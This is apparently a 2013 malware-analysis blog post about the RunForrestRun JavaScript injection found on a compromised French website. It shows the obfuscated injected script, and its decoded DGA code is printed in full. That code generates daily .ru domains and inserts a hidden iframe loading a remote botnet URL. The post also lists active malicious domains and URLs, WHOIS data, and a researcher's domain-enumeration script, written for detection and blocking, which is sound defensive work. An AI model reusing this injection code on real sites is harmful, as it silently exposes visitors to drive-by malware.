

MMD-0009-2013 - RunForrestRun DGA "Comeback" with new obfuscation

 blog.malwaremustdie.org/2013/11/runforrestrun-dga-is-alive-at.html

```
96 <script type="text/javascript">↓
97 var gaJsHost = (("https:" == document.location.protocol) ? "https://s
  l." : "http://www.");↓
98 document.write(unescape("%3Cscript src='" + gaJsHost + "google-analyt
  cs.com/ga.js' type='text/javascript'%3E%3C/script%3E"));↓
99 /*km0ae9gr6m*/window.eval(String.fromCharCode(105,61,48,59,116,114,12
  ,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,10
  ,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48,44,49,57,56
  44,49,49,54,44,50,49,48,44,49,49,49,44,50,50,48,44,51,50,44,50,50,48,
  4,49,48,49,44,50,52,48,44,49,49,54,44,49,54,52,44,57,55,44,50,50,48,4
  ,49,48,48,44,50,50,50,44,49,48,57,44,49,53,54,44,49,49,55,44,50,49,56
  44,57,56,44,50,48,50,44,49,49,52,44,56,48,44,52,49,44,50,52,54,44,49,
  ((( SNIPPED )))↓
00 23,106,61,105,59,105,102,40,101,41,115,61,115,43,114,91,102,114,43,40
  40,101,41,63,34,67,111,100,101,34,58,49,50,41,93,40,40,119,91,106,93,
  7,40,53,43,101,40,34,106,37,50,34,41,41,41,41,59,125,10,105,102,40,10
  ,41,101,40,115,41,59,125,10));/*qhk6sa6g1c*/</script>[EOF]
```

I was mentioned by our friend the for the detected RunForrestRun DGA obfuscation code as per below tweet (Thank's for the notification, Bart!) :

Guess who's back... "RunForestRun" @MalwareMustDie >> <http://t.co/DnyaS6eNpI>
For everyone else, FYI: <http://t.co/HjMJm53qr3> #malwaremustdie
— Bart (@bartblaze) [October 31, 2013](#)

Yes I fetched and take a look at it:

```
--2013-11-02 17:06:54-- h00p://portail-val-de-loir.com/
Resolving portail-val-de-loir.com... seconds 0.00, 85.10.130.29
Caching portail-val-de-loir.com => 85.10.130.29
Connecting to portail-val-de-loir.com[85.10.130.29]:80... seconds 0.00, connected.
:
GET / HTTP/1.0
Referer: remember.us.malwaremustdie.org
Host: portail-val-de-loir.com
HTTP request sent, awaiting response...
:
HTTP/1.1 200 OK
Date: Sat, 02 Nov 2013 08:06:30 GMT
Server: Apache/2.2.9 (Debian) mod_jk/1.2.26 PHP/5.2.6-1+lenny13 with Suhosin-Patch
mod_python/3.3.1 Python/2.5.2 mod_ssl
/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Last-Modified: Thu, 12 Jul 2012 01:52:59 GMT
ETag: "18f21da-32bd2b-4c498391b34c0"
Accept-Ranges: bytes
Content-Length: 3325227
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
:
200 OK
Registered socket 1896 for persistent reuse.
Length: 3325227 (3.2M) [text/html]
Saving to: `index.html'
100%[=====>] 3,325,227 103K/s in 39s
2013-11-02 17:07:35 (83.0 KB/s) - `index.html' saved [3325227/3325227]
```

This is the real worst case of code injection, the index.html was injected more than 50 times with the obfuscation javascript code, sample is here with password=infected -->[\[MMD Mediafire\]](#). Obfuscation method used is improved as per marked parts below by trying to make gesture of the script used in Google Analytics:

```
9596 <script type="text/javascript">↓
9597 var gaJsHost = (("https:" == document.location.protocol) ? "https://ss
9598 document.write(unescape("%3Cscript src='" + gaJsHost + "google-analyti
9599 /%km0ae9gr6m#/window.eval(String.fromCharCode(105,61,48,59,116,114,121
,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104
,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48,44,49,57,56,
44,49,49,54,44,50,49,48,44,49,49,49,44,50,50,48,44,51,50,44,50,50,48,4
4,49,48,49,44,50,52,48,44,49,49,54,44,49,54,52,44,57,55,44,50,50,48,44
,49,48,48,44,50,50,50,44,49,48,57,44,49,53,54,44,49,49,55,44,50,49,56,
44,57,56,44,50,48,50,44,49,49,52,44,56,48,44,52,49,44,50,52,54,44,49,4
((( SNIPPED )))↓
9600 23,106,61,105,59,105,102,40,101,41,115,61,115,43,114,91,102,114,43,40,
40,101,41,63,34,67,111,100,101,34,58,49,50,41,93,40,40,119,91,106,93,4
7,40,53,43,101,40,34,106,37,50,34,41,41,41,59,125,10,105,102,40,102
,41,101,40,115,41,59,125,10));/*qhksa6g1c*/</script>[EOF]
```

The first decoding process can e viewed here -->[\[MMD Pastebin\]](#)
And the result is as per below well-known DGA code:

```

112 function nextRandomNumber(){↓
113   var hi = this .seed / this .Q;↓
114   var lo = this .seed % this .Q;↓
115   var test = this .A * lo - this .R * hi;↓
116   if (test > 0){↓
117     this .seed = test;↓
118   }↓
119   else {↓
120     this .seed = test + this .M;↓
121   }   return (this .seed * this .oneOverM);↓
122 }↓
123 function RandomNumberGenerator(unix){↓
124   var d = new Date(unix * 1000);↓
125   var s = d.getHours() > 12 ? 1 : 0;↓
126   this .seed = 2345678901 + (d.getMonth() * 0xFFFFF) + (d.getDate() *
0xFFFFF) + (Math. round(s * 0xFFF));↓
127   this .A = 48271;↓
128   this .M = 2147483647;↓
129   this .Q = this .M / this .A;↓
130   this .R = this .M % this .A;↓
131   this .oneOverM = 1.0 / this .M;↓
132   this .next = nextRandomNumber;↓
133   return this ;↓
134 }↓
135 function createRandomNumber(r, Min, Max){↓
136   return Math.round((Max - Min) * r.next() + Min);↓
137 }↓
138 function generatePseudoRandomString(unix, length, zone){↓
139   var rand = new RandomNumberGenerator(unix);↓
140   var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
; 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y
, 'z'];↓
141   var str = '';↓
142   for (var i = 0; i < length; i ++ ){↓
143     str += letters[createRandomNumber(rand, 0, letters.length - 1)];↓
144   }   return str + '.' + zone;↓
145 }↓
146 setTimeout(function (){↓
147   try {↓
148     if (typeof iframeWasCreated == "undefined"){↓
149       iframeWasCreated = true;↓
150       var unix = Math.round( + new Date() / 1000);↓
151       var domainName = generatePseudoRandomString(unix, 16, 'ru');↓
152       ifrm = document.createElement("IFRAME");↓
153       ifrm.setAttribute("src", "http://" + domainName + "/runforestrun
?sid=botnet2");↓
154       ifrm.style.width = "0px";↓
155       ifrm.style.height = "0px";↓
156       ifrm.style.visibility = "hidden";↓
157       document.body.appendChild(ifrm); } } catch (e){}, 500);↓
158 }

```

Which is completely equal code to our case posted on July 23, 2013 here-->[\[MMD PREV.POST\]](#)

So, we saw the RunForrestRun for almost one year and the logic haven't changed a bit. Just in case someone will meet with the similar case or codes in the future hereby I made simple script for you to use if you see one, as per snipped GOOD code and a "howto" below:

```
// manual crack...@unixfreaxjp
// erase the setTimeout(function () all of it, we don't need those mess..
// and replace with the below code...
// (make sure you include the rest of the functions..)
// The code :

var nextday = new Date();
nextday.setFullYear(2013);
for (var yyy=0;yyy<13;yyy++)
{ nextday.setMonth(yyy);
for (var xxx= 1;xxx<33;xxx++)
{
var unix = Math.round(nextday.setDate(xxx)/1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
document.write(xxx+" | "+domainName+ " | "+nextday+"\n"); }}
```

Using the script above you can extract the domains per dates as per snipped below:

```
1 | oxkijnvhjnvnegtyb.ru | Tue Oct 01 2013 17:36:40 GMT+0900
2 | bloxgsfzinxmdspt.ru | Wed Oct 02 2013 17:36:40 GMT+0900
3 | mxpggggguksqteoy.ru | Thu Oct 03 2013 17:36:40 GMT+0900
4 | yjsovtnpqbwqcbdd.ru | Fri Oct 04 2013 17:36:40 GMT+0900
5 | lwtcxuzbdrsnpqfb.ru | Sat Oct 05 2013 17:36:40 GMT+0900
6 | xiwlntkxsqxwjge.ru | Sun Oct 06 2013 17:36:40 GMT+0900
7 | kwyyhhqtwxupnhyu.ru | Mon Oct 07 2013 17:36:40 GMT+0900
8 | wicjgufeimlbmcus.ru | Tue Oct 08 2013 17:36:40 GMT+0900
9 | ivewawjppavmkhwx.ru | Wed Oct 09 2013 17:36:40 GMT+0900
10 | uihgxtctniyolbobb.ru | Thu Oct 10 2013 17:36:40 GMT+0900
11 | hvitmananuzbabudp.ru | Fri Oct 11 2013 17:36:40 GMT+0900
12 | thldkvcgbkzcbfxw.ru | Sat Oct 12 2013 17:36:40 GMT+0900
13 | gunqeyhnrhskxjdr.ru | Sun Oct 13 2013 17:36:40 GMT+0900
14 | shqyztdrsofsjnib.ru | Mon Oct 14 2013 17:36:40 GMT+0900
15 | eusngyfurlziprua.ru | Tue Oct 15 2013 17:36:40 GMT+0900
((snipped))
```

with the complete list of 709 days extracted here --->>[\[MMD PASTEBIN\]](#)

And by our useful tools here--->>[\[MMD Google Code\]](#) and following the DGA Procedure Wiki here-->>[\[MMD Wiki\]](#), I came to result the below domains are activated NOW: (format: domain, IP, DNS, and DATE):

```
yalkzsvudybexfgd.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Apr 16
lomxtgmgrswlgrn.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Apr 17
wzbdwenwshfzglwt.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Aug 17
jnfrqmekhoevppvw.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Aug 18
vygzhvfiuommkqfj.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Aug 19
imjosxuhbcdonrco.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Aug 20
bhigmqckbqhleqlo.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Nov 06
nsjosicxuhpidhlp.ru, 91.233.244.102, dns1.webdrive.ru., dns2.webdrive.ru. | Nov 07
```

And also found the below domains are blocked/sinkholed:

gatrzmokglyvnqh.ru, 195.22.26.253, 195.22.26.254, ns1.csof.net. ns2.csof.net.
smvydqvigticadxb.ru, 195.22.26.253, 195.22.26.254, ns1.csof.net. ns2.csof.net.

I can say the reputation in IP: 91.233.244.102 is not good:

Virus Total history (with thank's!) -->>[\[HERE\]](#)

URLQuery records (many thank's) -->>[\[URLQuery\]](#)

Sometimes the bad guys has a unique ways to greet us! :-))

The server returned the following data:

donotwantyou787.ru A 91.233.244.102

The server state is: **201 Okay**

Below are bad URLs that can be switched alive:

h00p://yalkzsvudybexfgd.ru/runforestrun?sid=botnet2
h00p://lomxtgmgrswlgrn.ru/runforestrun?sid=botnet2
h00p://wzbdwenwshfzglwt.ru/runforestrun?sid=botnet2
h00p://jnfrqmekhoevppvw.ru/runforestrun?sid=botnet2
h00p://vygzhvfiuommkqfj.ru/runforestrun?sid=botnet2
h00p://imjosxuhbcdonrco.ru/runforestrun?sid=botnet2
h00p://bhigmqckbqhleqlo.ru/runforestrun?sid=botnet2
h00p://nsjosicxuhpidhlp.ru/runforestrun?sid=botnet2

Just in case I recorded them all in URLQuery (Thank's guys!):

http://urlquery.net/report.php?id=7388672
http://urlquery.net/report.php?id=7388677
http://urlquery.net/report.php?id=7388681
http://urlquery.net/report.php?id=7388683
http://urlquery.net/report.php?id=7388687
http://urlquery.net/report.php?id=7388692
http://urlquery.net/report.php?id=7388694
http://urlquery.net/report.php?id=7388701

Those detected domains, are all activated in REGGI.RU of Russia Federation:

domain: YALKZSVUDYBEXFGD.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2013.04.15
paid-till: 2014.04.15
free-date: 2014.05.16
source: TCI
Last updated on 2013.11.02 13:21:36 MSK

domain: LOMXTGMGRSWLGRN.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2013.04.15
paid-till: 2014.04.15
free-date: 2014.05.16
source: TCI
Last updated on 2013.11.02 13:21:36 MSK

domain: WZBDWENWSHFZGLWT.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2013.08.16
paid-till: 2014.08.16
free-date: 2014.09.16
source: TCI
Last updated on 2013.11.02 13:21:36 MSK

domain: JNFRQMEKH0EVPVW.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2013.08.16
paid-till: 2014.08.16
free-date: 2014.09.16
source: TCI
Last updated on 2013.11.02 13:26:32 MSK

domain: VYGZHVFIUOMMKQFJ.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2013.08.16
paid-till: 2014.08.16
free-date: 2014.09.16
source: TCI
Last updated on 2013.11.02 13:26:32 MSK

domain: IMJOSXUHBCDONRCO.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2013.08.16
paid-till: 2014.08.16
free-date: 2014.09.16
source: TCI
Last updated on 2013.11.02 13:26:32 MSK

domain: BHIGMQCKBQHLEQLO.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2012.11.06
paid-till: 2013.11.06
free-date: 2013.12.07
source: TCI
Last updated on 2013.11.02 13:31:37 MSK

domain: NSJOSICXUHPIDHLP.RU
nserver: dns1.webdrive.ru.
nserver: dns2.webdrive.ru.
state: REGISTERED, DELEGATED, UNVERIFIED
person: Private Person
registrar: REGGI-REG-RIPN
admin-contact: <https://panel.reggi.ru/user/whois/webmail/>
created: 2012.11.06
paid-till: 2013.11.06
free-date: 2013.12.07
source: TCI
Last updated on 2013.11.02 13:31:37 MSK

And the IP information also pointed to St. Petersburg IDC:

```
$ whois 91.233.244.102
```

```
% Information related to '91.233.244.0 - 91.233.245.255'
```

```
inetnum:          91.233.244.0 - 91.233.245.255
netname:          OLBORG-NET
descr:           Olborg Ltd
descr:           St.Petersburg
country:         RU
admin-c:         OLCR1-RIPE
tech-c:         OLCR1-RIPE
status:         ASSIGNED PI
mnt-by:         OLBORG-MNT
mnt-by:         RIPE-NCC-END-MNT
mnt-routes:     OLBORG-MNT
mnt-domains:     OLBORG-MNT
source:         RIPE # Filtered

role:            Olborg Ltd - Contact Role
address:         Olborg Ltd
address:         St.Petersburg, Russia
abuse-mailbox:   abuse@o1host.net
remarks:         *****
remarks:         * For spam/abuse/security issues please contact *
remarks:         *   abuse@o1host.net , not this address   *
remarks:         *****
org:            ORG-OL89-RIPE
admin-c:         AK8017-RIPE
tech-c:         AK8017-RIPE
nic-hdl:         OLCR1-RIPE
mnt-by:         OLBORG-MNT
source:         RIPE # Filtered
```

```
% Information related to '91.233.244.0/23AS57636'
```

```
route:          91.233.244.0/23
descr:         Olborg Ltd.
origin:        AS57636
mnt-by:        OLBORG-MNT
source:        RIPE # Filtered
```

I really hope to see all domains in this logic blocked.. otherwise they sure will come again with a much better obfuscation.

#MalwareMustDie!!